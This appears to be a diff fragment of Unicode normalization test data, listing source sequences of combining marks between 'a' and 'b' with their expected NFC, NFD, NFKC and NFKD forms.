+{ source: [0x0061, 0xFB1E, 0x064B, 0xFB1E, 0x05C2, 0x0062], NFC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE20, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE20, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE20, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE20, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE20, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE20, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE20, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE21, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE21, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE21, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE21, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE21, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE21, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE21, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE22, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE22, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE22, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE22, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE22, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE22, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE22, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE23, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE23, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE23, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE23, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE23, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE23, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE23, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE24, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE24, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE24, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE24, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE24, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE24, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE24, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE25, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE25, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE25, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE25, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE25, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE25, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE25, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE26, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE26, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE26, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE26, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE26, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE26, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE26, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE27, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE27, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE27, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE27, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE27, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE27, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE27, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE27, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE27, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE27, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE28, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE28, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE28, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE28, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE28, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE28, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE28, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE28, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE28, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE28, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE29, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE29, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE29, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE29, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE29, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE29, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE29, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE29, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE29, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE29, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE2A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE2A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE2A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE2A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE2A, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE2A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE2A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE2A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE2A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE2B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE2B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE2B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE2B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE2B, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE2B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE2B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE2B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE2B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE2C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE2C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE2C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE2C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE2C, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE2C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE2C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE2C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE2C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xFE2D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xFE2D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xFE2D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xFE2D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xFE2D, 0x059A, 0x0062] },
+{ source: [0x0061, 0xFE2D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xFE2D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xFE2D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xFE2D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xFE2D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE2E, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE2E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE2E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE2E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE2E, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE2E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE2E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xFE2F, 0x0062], NFC: [0x00E0, 0x05AE, 0xFE2F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xFE2F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xFE2F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xFE2F, 0x0315, 0x0062] },
+{ source: [0x0061, 0xFE2F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xFE2F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x101FD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x101FD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x101FD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x101FD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x101FD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x101FD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x101FD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x101FD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x101FD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x101FD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x102E0, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x102E0, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x102E0, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x102E0, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x102E0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x102E0, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x102E0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x102E0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x102E0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x102E0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10376, 0x0062], NFC: [0x00E0, 0x05AE, 0x10376, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10376, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10376, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10376, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10376, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10376, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10377, 0x0062], NFC: [0x00E0, 0x05AE, 0x10377, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10377, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10377, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10377, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10377, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10377, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10378, 0x0062], NFC: [0x00E0, 0x05AE, 0x10378, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10378, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10378, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10378, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10378, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10378, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10379, 0x0062], NFC: [0x00E0, 0x05AE, 0x10379, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10379, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10379, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10379, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10379, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10379, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1037A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1037A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1037A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1037A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1037A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1037A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1037A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10A0D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10A0D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10A0D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10A0D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10A0D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10A0D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10A0D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10A0D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10A0D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10A0D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10A0F, 0x0062], NFC: [0x00E0, 0x05AE, 0x10A0F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10A0F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10A0F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10A0F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10A0F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10A0F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10A38, 0x0062], NFC: [0x00E0, 0x05AE, 0x10A38, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10A38, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10A38, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10A38, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10A38, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10A38, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x10A39, 0x0062], NFC: [0x0061, 0x0334, 0x10A39, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x10A39, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x10A39, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x10A39, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x10A39, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x10A39, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x10A39, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x10A39, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x10A39, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10A3A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10A3A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10A3A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10A3A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10A3A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10A3A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10A3A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10A3A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10A3A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10A3A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x10A3F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x10A3F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x10A3F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x10A3F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10AE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x10AE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10AE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10AE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10AE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10AE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10AE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10AE6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10AE6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10AE6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10AE6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10AE6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10AE6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10AE6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10AE6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10AE6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10AE6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10D24, 0x0062], NFC: [0x00E0, 0x05AE, 0x10D24, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10D24, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10D24, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10D24, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10D24, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10D24, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10D24, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10D24, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10D24, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10D25, 0x0062], NFC: [0x00E0, 0x05AE, 0x10D25, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10D25, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10D25, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10D25, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10D25, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10D25, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10D25, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10D25, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10D25, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10D26, 0x0062], NFC: [0x00E0, 0x05AE, 0x10D26, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10D26, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10D26, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10D26, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10D26, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10D26, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10D26, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10D26, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10D26, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10D27, 0x0062], NFC: [0x00E0, 0x05AE, 0x10D27, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10D27, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10D27, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10D27, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10D27, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10D27, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10D27, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10D27, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10D27, 0x0300, 0x0315, 0x0062] },
